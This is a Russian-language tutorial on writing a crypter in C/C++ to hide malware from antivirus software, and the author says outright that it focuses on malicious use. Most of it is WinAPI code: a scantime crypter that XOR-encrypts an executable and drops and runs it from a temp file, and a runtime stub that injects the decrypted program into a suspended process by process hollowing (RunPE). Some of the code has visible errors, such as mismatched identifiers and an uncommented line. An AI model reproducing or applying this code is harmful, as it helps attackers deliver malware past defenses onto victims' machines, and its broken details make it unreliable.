Создаём свой криптор C / C++

Создаём свой криптор C / C++

overlamer1


Криптор - тот инструмент, которого не хватает начинающим "хакерам". Именно криптор решает многое.



Небольшое исключение: некоторые из материалов могут не подходить для новичков, поскольку они требуют достаточного количества знаний о внутренних компонентах Windows.

Необходимы:

Знание C / C++
Знание WinAPI и его документации
Знание базовой криптологии
Знание структуры файла PE
Знание Windows (виртуальной) памяти
Знание процессов и потоков.

Две стороны криптографии

Когда мы описываем криптографию, она обычно включает в себя что-то вроде «средства скрытия, чтобы предотвратить нежелательный доступ к информации». Большинство из нас видит это как таковое, как защитный механизм с приложениями от секретов, чтобы даже остановить злонамеренные действия. Конечно, мы ожидаем этого, поскольку оно было изобретено с единственной целью - отвернуть любые посторонние глаза от данных, однако, как мы вскоре увидим, криптография превратилась во что-то гораздо большее.

Если мы используем криптографию для защиты от злонамеренных действий, мы можем увидеть потенциал защиты со злым умыслом, то есть разработать вредоносное ПО, которое использует преимущества, предоставляемые криптографией. Эти типы вредоносных программ уже очень заметны в современную эпоху, некоторые популярные примеры включают выкуп и асимметричные бэкдоры, которые в основном касаются криптографии с открытым ключом.


Антивирусные механизмы

Чтобы иметь возможность разработать защитную меру против антивирусного программного обеспечения, мы должны сначала определить детали, которые мы пытаемся победить. Я кратко рассмотрю два основных метода, которые антивирусное программное обеспечение использует для обнаружения нежелательных приложений.

Обнаружение на основе сигнатур

Как следует из названия, обнаружение на основе сигнатур - это метод, который перекрестно ссылается и сопоставляет подписи приложений с соответствующей базой данных известных вредоносных программ. Это эффективная мера по предотвращению и содержанию предыдущих вредоносных программ. Подумайте об этом, как о вакцине для машин.

Эвристическое обнаружение

Хотя обнаружение на основе сигнатур может предотвратить большинство ранее известных вредоносных программ, оно имеет свои недостатки, поскольку авторы вредоносных программ могут применять уровень защиты от такого подхода, такие как полиморфный и / или метаморфический код. Эвристическое обнаружение пытается контролировать поведение и характеристики приложения и ссылаться на него с известным злонамеренным поведением. Обратите внимание, что это может произойти только в том случае, если приложение запущено.

Конечно, антивирусное программное обеспечение намного, гораздо более продвинутое, чем это. Поскольку это выходит за рамки моей статьи, и я понимаю, что не буду освещать эту информацию.


Введение в Крипторы

Для тех, кто не знает, что такое крипторы, они предназначены для защиты информации в файле (обычно это своего рода исполняемый формат), и при выполнении могут иметь возможность предоставлять указанную информацию без изменений после извлечения ее с помощью процедуры дешифрования. Обратите внимание, что в то время как крипторы могут использоваться со злонамеренными намерениями, они также популярны при обфускации данных, чтобы предотвратить обратное проектирование. В этой статье мы сосредоточимся на злонамеренном использовании. Так как же это работает? Начнем с определения крипторов и просмотра графического представления их работы. Криптор отвечает за шифрование целевого объекта.

+-----------+    +---------+    +----------------+   +------+  
| Your file | -> | Crypter | => | Encrypted file | + | Stub |
+-----------+    +---------+    +----------------+   +------+

Stub - это сектор зашифрованного объекта, который обеспечивает извлечение и, иногда, выполнение указанного объекта.

+----------------+   +------+                +---------------+
| Encrypted file | + | Stub | = Execution => | Original File | 
+----------------+   +------+                +---------------+

Scantime Крипторы

Эти типы шифров называются scantime из-за их способности скрывать данные на диске, где, например, антивирусное программное обеспечение может запускать сканирование в файле с обнаружением на основе сигнатур. На этом этапе антивирусное программное обеспечение никогда не сможет обнаружить какую-либо вредоносную активность при условии, что прикладная обфускация является надежной.

Runtime Крипторы

Эти криптографические устройства выходят на следующий уровень деобфусцируя данные при запуске в памяти по мере необходимости. Таким образом, антивирус позволит ему быть загруженным и выполненным до того, как он сможет реагировать на любые вредоносные действия. Вполне возможно, что вредоносная программа инициирует обнаружение на основе эвристики антивирусного программного обеспечения на этапе исполнения, поэтому авторы вредоносных программ должны быть осторожны. Теперь, когда мы рассмотрели высокий уровень, давайте посмотрим пример реализации обоих типов.


Написание Scantime Криптора

Scantime криптор проще, поскольку он не требует знания виртуальной памяти и процессов / потоков. По сути, стаб деобфусцирует файл, вытаскивая его на диск куда-нибудь и затем выполняя.

Примечание. Для чистоты и удобочитаемости я не буду включать проверки ошибок.

Псевдокод Криптора и стаба

1. Проверьте, есть ли аргумент командной строки
+ -> 2. Если есть аргумент командной строки, действуйте как криптор
|    3. Откройте целевой файл
|    4. Прочитайте содержимое файла
|    5. Зашифруйте содержимое файла
|    6. Создайте новый файл
|    7. Запишите зашифрованный текст в новый файл
|    8. Готово
|
+ -> 2. Если аргумент командной строки отсутствует, действуйте как стаб
     3. Откройте зашифрованный файл 
     4. Прочитайте содержимое файла
     5. Расшифруйте содержимое файла 
     6. Создайте временный файл 
     7. Запишите дешифрованный текст во временный файл 
     8. Выполните файл 
     9. Готово

Эта конструкция реализует как криптер, так и стаб в том же исполняемом файле, и мы можем сделать это, потому что две процедуры очень похожи друг на друга. Давайте рассмотрим возможный дизайн кода.

Во-первых, нам нужно будет определить основные и два условия, которые определяют выполнение криптера или стаба.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // ветка стаба
    } else {
        // ветка криптора
    }

    return EXIT_SUCCESS;
}

Поскольку мы определяем приложение как оконное приложение, мы не можем получить argc и argv, как обычно в консольном приложении, но Microsoft предоставила решение для этого с __argc и __argv. Если аргумент командной строки __argv[1] существует, приложение будет пытаться шифровать указанный файл, иначе он попытается расшифровать существующий файл, зашифрованный криптором.

Перейдя на ветку криптора, мы будем требовать дескриптор указанного файла __argv[1] и его размер, чтобы мы могли скопировать его байты в буфер для шифрования.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // ветка стаба
    } else {
        // ветка криптора
        // открываем файл для шифрования
        HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        // получаем размер файла
        DWORD dwFileSize = GetFileSize(hFile, NULL);
        
        // шифруем и получаем зашифрованные байты
        LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
    }

    return EXIT_SUCCESS;
}

Функция Crypt будет по существу считывать содержимое файла в буфер, затем склеивать их, а затем возвращать указатель на буфер с зашифрованными байтами.

LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) {
    // выделяем память под буфер, что будет хранить данные с файла
    LPVOID lpFileBytes = malloc(dwFileSize);
    // считываем файл в буфер
    ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL);

    // выполняем шифрование методом XOR
    int i;
    for (i = 0; i < dwFileSize; i++) {
        *((LPBYTE)lpFileBytes + i) ^= Key[i % sizeof(Key)];
    }

    return lpFileBytes;
}

Теперь, когда у нас есть зашифрованные байты, нам нужно будет создать новый файл, а затем записать в него эти байты.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // ветка стаба
    } else {
        // ветка криптора
        
        ...

        // получаем имя зашифрованного фалйа
        CHAR szCryptedFileName[MAX_PATH];
        GetCurrentDirectory(MAX_PATH, szCryptedFileName);
        strcat(szCryptedFileName, "\\");
        strcat(szCryptedFileName, CRYPTED_FILE);
        // открыть дескриптор нового зашифрованного файла
        HANDLE hCryptedFile = CreateFile(szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        // запись в зашифрованный файл
        WriteFile(hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);
        CloseHandle(hCryptedFile);
        free(lpFileBytes);
    }

    return EXIT_SUCCESS;
}

И это в значительной степени всё для секции криптера. Обратите внимание, что мы использовали простой XOR для шифрования содержимого файла, которого может быть недостаточно, если у нас есть небольшой ключ. Если мы хотим быть более безопасными, мы можем использовать другие схемы шифрования, такие как RC4 или (x) TEA. Мы не требуем полноценных непрерывных криптоалгоритмов, поскольку цель состоит в том, чтобы избежать обнаружения на основе сигнатур.

Давайте продолжим работу. Для стаба мы хотим получить зашифрованный файл в его текущем каталоге, а затем записать дешифрованное содержимое во временный файл для выполнения.

Мы начнем с получения текущей директории, затем откроем файл и получим размер файла.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // ветка стаба
        // получаем цель - зашифрованный файл
        CHAR szEncryptedFileName[MAX_PATH];
        GetCurrentDirectory(MAX_PATH, szEncryptedFileName);
        strcat(szEncryptedFileName, "\\");
        strcat(szEncryptedFileName, CRYPTED_FILE);

        // получаем дескриптор файла
        HANDLE hFile = CreateFile(szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

        // получаем размер файла
        DWORD dwFileSize = GetFileSize(hFile, NULL);
    } else {
        // ветка криптора
    }

    return EXIT_SUCCESS;
}

В значительной степени то же, что и ветка криптора. Затем мы прочитаем содержимое файла и получим дешифрованные байты. Поскольку операция XOR восстанавливает значения, заданные общим битом, мы можем просто повторно использовать функцию Crypt. После этого нам нужно будет создать временный файл и записать в него дешифрованные байты.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // ветка стаба
        
        ...

        // расшифровываем и получаем дешифрованные байты
        LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
        CloseHandle(hFile);

        // получить файл во временном каталоге
        CHAR szTempFileName[MAX_PATH];
        GetTempPath(MAX_PATH, szTempFileName);
        strcat(szTempFileName, DECRYPTED_FILE);

        // открываем дескриптор для временного файла
        HANDLE hTempFile = CreateFile(szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        // запись во временный файл
        WriteFile(hTempFile, lpFileBytes, dwFileSize, NULL, NULL);
        // очистка памяти
        CloseHandle(hTempFile);
        free(lpFileBytes);
    } else {
        ветка криптора
    }

    return EXIT_SUCCESS;
}

Наконец, нам нужно будет выполнить расшифрованное приложение.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // ветка стаба
        
        ...

        // выполняем файл
        ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0);
    } else {
        // ветка криптора
    }

    return EXIT_SUCCESS;
}

Обратите внимание, что как только дешифрованное приложение будет записано на диск, оно будет подвержено обнаружению на основе сигнатур антивирусного программного обеспечения и, вероятно, будет обнаружено большинством антивирусных программ. Из-за этого авторы вредоносных программ требуют что-то, что позволит выполнять их приложения без этого недостатка.

На этом заканчивается scantime криптер.


Написание Runtime Криптора

Для экономии времени выполнения я буду покрывать только стаб, так как это включает более сложный материал, поэтому мы предположим, что приложение уже зашифровано. Популярная техника, которую используют эти крипторы, называется RunPE или Dynamic Forking / Process Hollowing. Как это работает, стаб сначала расшифрует зашифрованные байты приложения, а затем эмулирует загрузчик Windows, выгрузив их в пространство виртуальной памяти приостановленного процесса. Как только это будет завершено, стаб возобновит приостановленный процесс и закончит.

Примечание. Для чистоты и удобочитаемости я не буду включать проверки ошибок.

Псевдокод стаба

1. Расшифровать приложение
2. Создайть приостановленный процесс
3. Сохранить контекст потока процесса
4. Опустошить пространство виртуального пространства процесса
5. Выделить виртуальную память
6. Записать заголовок и разделы приложения в выделенную память
7. Установить измененный контекст потока
8. Продолжить процесс
9. Готово

Как мы видим, для этого требуется довольно много знаний о внутренних компонентах Windows, включая структуру файлов PE, манипуляции с памятью Windows и процессах/потоках. Я настоятельно рекомендую читателю изучить эти основы, чтобы понять следующий материал.

Во-первых, давайте настроим две подпрограммы: одну для дешифрования зашифрованного приложения, а другую - для загрузки её в память для выполнения.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    Decrypt();
    RunPE();

    return EXIT_SUCCESS;
}

Функция Decrypt будет полностью зависеть от схемы шифрования, используемой для шифрования приложения, но вот пример кода с использованием XOR.

VOID Decrypt(VOID) {
    int i;
    for (i = 0; i < sizeof(Shellcode); i++) {
        Shellcode[i] ^= Key[i % sizeof(Key)];
    }
}

Теперь, когда приложение было расшифровано, давайте посмотрим, где происходит волшебство. Здесь мы проверим, является ли приложение действительным PE-файлом, проверяя сигнатуры DOS и PE.

VOID RunPE(VOID) {
    // проверка DOS-сигнатуры
    PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode;
    if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return;

    // проверка PE-сигнатуры
    PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew);
    if (pinh->Signature != IMAGE_NT_SIGNATURE) return;
}

Теперь мы создадим приостановленный процесс.

VOID RunPE(VOID) {
    ...

    // получаем имя файла
    CHAR szFileName[MAX_PATH];
    GetModuleFileName(NULL, szFileName, MAX_PATH);

    // инициализируем информацию о запуске и процессе
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    // требуется установить размер si.cb перед использованием
    si.cb = sizeof(si);
    // создаем приостановленный процесс
    CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

}
Обратите внимание: szFileName может быть полным путем к любому исполняемому файлу, например explorer.exe или iexplore.exe, но в этом примере мы будем использовать файл стаба. Функция CreateProcess создаст дочерний процесс указанного файла в приостановленном состоянии, чтобы мы могли изменить его содержимое виртуальной памяти в соответствии с нашими потребностями. Как только это будет сделано, мы должны получить контекст потока перед тем, как изменить что-либо.
VOID RunPE(VOID) {
    ...

    // получаем контекст потока
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.Thread, &ctx);

}

И теперь освободим область виртуальной памяти процесса, чтобы мы могли выделить наше собственное пространство для приложения. Для этого нам нужна функция, которая нам недоступна, поэтому нам потребуется указатель на функцию для динамически извлекаемой функции из DLL ntdll.dll.

typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID);

VOID RunPE(VOID) {
    ...

    // динамически извлекает функцию ZwUnmapViewOfSection из файла ntdll.dll
    fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

    // полый процесс по адресу в виртуальной памяти 'pinh->OptionalHeader.ImageBase'
    pZwUnMapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);

    // распределять виртуальную память по адресу 'pinh->OptionalHeader.ImageBase' of size `pinh->OptionalHeader.SizeofImage` with RWX permissions
    LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}

Поскольку приостановленный процесс имеет собственное содержимое внутри своего пространства виртуальной памяти, мы обязаны убрать его из памяти, а затем выделить для себя, чтобы у нас был правильный доступ и разрешения для загрузки образа нашего приложения. Мы сделаем это с помощью функции WriteProcessMemory. Во-первых, нам нужно написать заголовки, а затем каждый раздел отдельно, как загрузчик Windows. Этот раздел требует глубокого понимания структуры файла PE.

VOID RunPE(VOID) {
    ...

    // записываем заголовок
    WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL);

    // записываем каждую секцию
    int i;
    for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) {

        // вычисляем и получаем i-й раздел
        PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD)Shellcode + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);

        // запись данных секции
        WriteProcessMemory(pi.hProcess, (LPVOID)(lpBaseAddress + pish->VirtualAddress), (LPVOID)((DWORD)Shellcode + pish->PointerToRawData), pish->SizeOfRawData, NULL);
    }
}

Теперь, когда все на месте, мы просто изменим адрес контекста точки входа, а затем возобновим приостановленный поток.

VOID RunPE(VOID) {
    ...
 
    // устанавливаем соответствующий адрес точки входа
    ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, &ctx);
 
    // восстанавливаем и исполняем наше приложение
    ResumeThread(pi.hThread);
}

Теперь приложение работает в памяти, и, надеюсь, антивирусное программное обеспечение не обнаружит его.

Report Page